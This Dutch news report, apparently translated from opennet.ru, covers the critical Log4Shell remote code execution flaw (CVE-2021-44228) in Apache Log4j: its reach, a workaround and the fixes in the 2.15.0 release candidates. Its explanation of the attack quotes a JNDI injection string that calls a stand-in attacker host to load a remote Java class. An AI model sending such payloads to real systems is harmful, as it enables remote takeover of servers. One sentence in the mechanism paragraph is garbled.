Catastrofale kwetsbaarheid in Apache Log4j die veel Java-projecten raakt

In Apache Log4j, een populair framework voor het organiseren van logging in Java-applicaties, is een kritieke kwetsbaarheid ontdekt die het mogelijk maakt om willekeurige code uit te voeren bij het loggen van speciaal opgemaakte waarden in het formaat «{jndi:URL}». Een aanval kan worden uitgevoerd op Java-applicaties die logwaarden opslaan die uit externe bronnen zijn verkregen, bijvoorbeeld bij het weergeven van problematische waarden in foutmeldingen.

Het probleem treft bijna alle projecten die gebruikmaken van frameworks zoals Apache Struts, Apache Solr, Apache Druid of Apache Flink, inclusief Steam, Apple iCloud, en de klanten en servers van het spel Minecraft. Verwacht wordt dat de kwetsbaarheid kan leiden tot een golf van massale aanvallen op bedrijfsapplicaties, wat een herhaling van de geschiedenis van kritieke kwetsbaarheden in het Apache Struts-framework kan betekenen, dat naar schatting in 65% van de webapplicaties van Fortune 100-bedrijven wordt toegepast. Tot nu toe zijn er al pogingen vastgesteld om netwerken te scannen op kwetsbare systemen.

Het probleem wordt verergerd doordat er een werkende exploit is gepubliceerd, maar er zijn op dit moment geen patches voor de stabiele versies. Een CVE-identificator is nog niet toegewezen. De oplossing is alleen opgenomen in de testversie log4j-2.15.0-rc1. Als een tijdelijke oplossing om de kwetsbaarheid te blokkeren, wordt aanbevolen de parameter log4j2.formatMsgNoLookups in te stellen op true.

Het probleem werd veroorzaakt doordat log4j ondersteuning biedt voor de verwerking van speciale masks «{}» in de log-uitvoer, waarbij JNDI (Java Naming and Directory Interface) aanvragen konden worden uitgevoerd. De aanval houdt in dat een string met de vervangingen «${jndi:ldap://attacker.com/a}» wordt verzonden, waarbij log4j de volgende stap zet. server attacker.com een LDAP-verzoek naar het pad van de Java-klasse. Het pad dat door server de aanvaller wordt teruggestuurd (bijvoorbeeld http://second-stage.attacker.com/Exploit.class) zal worden gedownload en uitgevoerd in de context van het huidige proces, waardoor de aanvaller in staat is om willekeurige code uit te voeren op het systeem met de rechten van de huidige applicatie.

Aanvulling 1: De kwetsbaarheid heeft het identificatienummer CVE-2021-44228 gekregen.

Aanvulling 2: Er is een manier ontdekt om de beveiliging te omzeilen die is toegevoegd in de release van log4j-2.15.0-rc1. Een nieuwe update log4j-2.15.0-rc2 is voorgesteld, met een meer uitgebreide bescherming tegen de kwetsbaarheid. In de code is een wijziging gemarkeerd die verband houdt met het ontbreken van een foutafhandeling in het geval van een onjuist opgemaakt JNDI-URL.

Bron: opennet.ru

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster